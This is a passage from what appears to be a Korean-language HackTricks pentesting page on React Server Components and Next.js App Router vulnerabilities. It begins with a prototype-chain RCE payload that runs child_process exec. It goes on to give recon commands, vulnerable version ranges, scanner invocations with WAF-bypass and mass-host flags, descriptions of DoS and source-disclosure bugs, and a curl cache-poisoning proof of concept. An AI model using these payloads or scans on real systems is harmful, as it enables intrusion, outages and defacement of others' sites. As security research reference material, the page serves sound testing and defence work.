"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function ๋…ธ์ถœ ๋งคํ•‘

React Server Functions (RSF)๋Š” 'use server'; ์ง€์‹œ๋ฌธ์„ ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ํ•จ์ˆ˜์— ๋ฐ”์ธ๋”ฉ๋œ ๋ชจ๋“  form action, mutation, ๋˜๋Š” fetch helper๋Š” RSC Flight endpoint๊ฐ€ ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ payload๋ฅผ ๊ธฐ๊บผ์ด ์—ญ์ง๋ ฌํ™”ํ•ฉ๋‹ˆ๋‹ค. React2Shell ํ‰๊ฐ€์—์„œ ๋„์ถœ๋œ ์œ ์šฉํ•œ recon ๋‹จ๊ณ„:

  • ์ •์  ์ธ๋ฒคํ† ๋ฆฌ: ์ง€์‹œ๋ฌธ์„ ์ฐพ์•„ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์ž๋™์œผ๋กœ ๋…ธ์ถœํ•˜๋Š” RSF์˜ ์ˆ˜๋ฅผ ํŒŒ์•…ํ•˜์„ธ์š”.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ App Router์™€ app/ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉฐ, ์ด๋กœ ์ธํ•ด ๋ชจ๋“  ๋ผ์šฐํŠธ๊ฐ€ ์กฐ์šฉํžˆ RSC-capable endpoint๋กœ ๋ฐ”๋€๋‹ˆ๋‹ค. App Router ์ž์‚ฐ(์˜ˆ: /_next/static/chunks/app/)์ด๋‚˜ text/x-component๋กœ Flight ์ฒญํฌ๋ฅผ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋Š” ์‘๋‹ต์€ ์ธํ„ฐ๋„ท์— ๋…ธ์ถœ๋˜๋Š” ๊ฐ•ํ•œ ์ง€๋ฌธ(fingerprint)์ž…๋‹ˆ๋‹ค.
  • Implicitly vulnerable RSC deployments: React์˜ ์–ด๋“œ๋ฐ”์ด์ €๋ฆฌ๋Š” RSC ๋Ÿฐํƒ€์ž„์„ ํฌํ•จํ•ด ๋ฐฐํฌ๋˜๋Š” ์•ฑ์ด ๋ช…์‹œ์  RSFs ์—†์ด๋„ ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์–ธ๊ธ‰ํ•˜๋ฏ€๋กœ, react-server-dom-* 19.0.0โ€“19.2.0์„ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ๋นŒ๋“œ๋ฅผ ์˜์‹ฌ ๋Œ€์ƒ์œผ๋กœ ์ทจ๊ธ‰ํ•˜์‹ญ์‹œ์˜ค.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku ๋“ฑ์€ ๋™์ผํ•œ serializer๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉฐ, ํŒจ์น˜๋œ React ๋นŒ๋“œ๋ฅผ ํฌํ•จํ•  ๋•Œ๊นŒ์ง€ ๋™์ผํ•œ remote attack surface๋ฅผ ๋ฌผ๋ ค๋ฐ›์Šต๋‹ˆ๋‹ค.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: ์ทจ์•ฝ โ€” 19.0.0, 19.1.0โ€“19.1.1 ๋ฐ 19.2.0; ํŒจ์น˜๋จ โ€” ๊ฐ๊ฐ 19.0.1, 19.1.2 ๋ฐ 19.2.1.
  • Next.js stable: App Router releases 15.0.0โ€“16.0.6๋Š” ์ทจ์•ฝํ•œ RSC ์Šคํƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํŒจ์น˜ ํŠธ๋ ˆ์ธ 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7์—๋Š” ์ˆ˜์ •๋œ ์ข…์†์„ฑ์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ๊ทธ ๋ฒ„์ „๋“ค๋ณด๋‹ค ๋‚ฎ์€ ๋นŒ๋“œ๋Š” ๋†’์€ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Next.js canary: 14.3.0-canary.77+๋„ ๋ฒ„๊ทธ๊ฐ€ ์žˆ๋Š” ๋Ÿฐํƒ€์ž„์„ ํฌํ•จํ•˜๋ฉฐ ํ˜„์žฌ ํŒจ์น˜๋œ canary ๋ฆด๋ฆฌ์Šค๊ฐ€ ์—†์–ด, ํ•ด๋‹น ์ง€๋ฌธ๋“ค์€ ๊ฐ•๋ ฅํ•œ ์•…์šฉ ํ›„๋ณด๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

Remote detection oracle

Assetnoteโ€™s react2shell-scanner ๋Š” ์กฐ์ž‘๋œ multipart Flight ์š”์ฒญ์„ ํ›„๋ณด ๊ฒฝ๋กœ๋กœ ๋ณด๋‚ด๊ณ  ์„œ๋ฒ„์ธก ๋™์ž‘์„ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค:

  • Default mode๋Š” ๊ฒฐ์ •๋ก ์  RCE payload(์ˆ˜ํ•™ ์—ฐ์‚ฐ์ด X-Action-Redirect๋กœ ๋ฐ˜์˜๋˜๋Š”)๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ฝ”๋“œ ์‹คํ–‰์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค.
  • --safe-check mode๋Š” ์˜๋„์ ์œผ๋กœ Flight ๋ฉ”์‹œ์ง€๋ฅผ ๋น„์ •์ƒํ™”ํ•˜์—ฌ ํŒจ์น˜๋œ ์„œ๋ฒ„๋Š” 200/400์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋ฐ˜๋ฉด, ์ทจ์•ฝํ•œ ๋Œ€์ƒ์€ ๋ฐ”๋””์— E{"digest" ๋ถ€๋ถ„ ๋ฌธ์ž์—ด์„ ํฌํ•จํ•˜๋Š” HTTP/500 ์‘๋‹ต์„ ๋ฐฉ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด (500 + digest) ์Œ์€ ํ˜„์žฌ ๋ฐฉ์–ด์ž๋“ค์ด ๊ณต๊ฐœํ•œ ๊ฐ€์žฅ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์›๊ฒฉ ์˜ค๋ผํด์ž…๋‹ˆ๋‹ค.
  • ๋‚ด์žฅ๋œ --waf-bypass, --vercel-waf-bypass, ๋ฐ --windows ์Šค์œ„์น˜๋Š” payload ๋ ˆ์ด์•„์›ƒ์„ ์กฐ์ •ํ•˜๊ณ , junk๋ฅผ ์•ž์— ๋ถ™์ด๊ฑฐ๋‚˜ OS ๋ช…๋ น์„ ๊ต์ฒดํ•˜์—ฌ ์‹ค์ œ ์ธํ„ฐ๋„ท ์ž์‚ฐ์„ probeํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

๊ธฐํƒ€ ์ตœ๊ทผ App Router ์ด์Šˆ (2025๋…„ ๋ง)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) โ€“ malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds โ‰ฅ13.3 are affected until patched; 15.0.xโ€“16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a text/x-component body with abusive $ references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.
  • Triage tip: ๋ฏธํŒจ์น˜ ๋Œ€์ƒ์€ ์ž˜๋ชป๋œ Flight ํŽ˜์ด๋กœ๋“œ ํ›„ E{"digest"๋ฅผ ํฌํ•จํ•œ 500์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค; ํŒจ์น˜๋œ ๋นŒ๋“œ๋Š” 400/200์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฏธ Flight ์ฒญํฌ๋ฅผ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ( Next-Action ํ—ค๋” ๋˜๋Š” text/x-component ์‘๋‹ต์„ ์ฐพ์œผ์„ธ์š”)๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ณ  ์ˆ˜์ •๋œ ํŽ˜์ด๋กœ๋“œ๋กœ ์žฌ์ƒํ•˜์„ธ์š”.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0โ€“15.3.2) โ€“ missing Vary let an Accept: text/x-component response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. ํ…Œ์ŠคํŠธ ํ›„ ์บ์‹œ๋ฅผ ์ •๋ฆฌํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ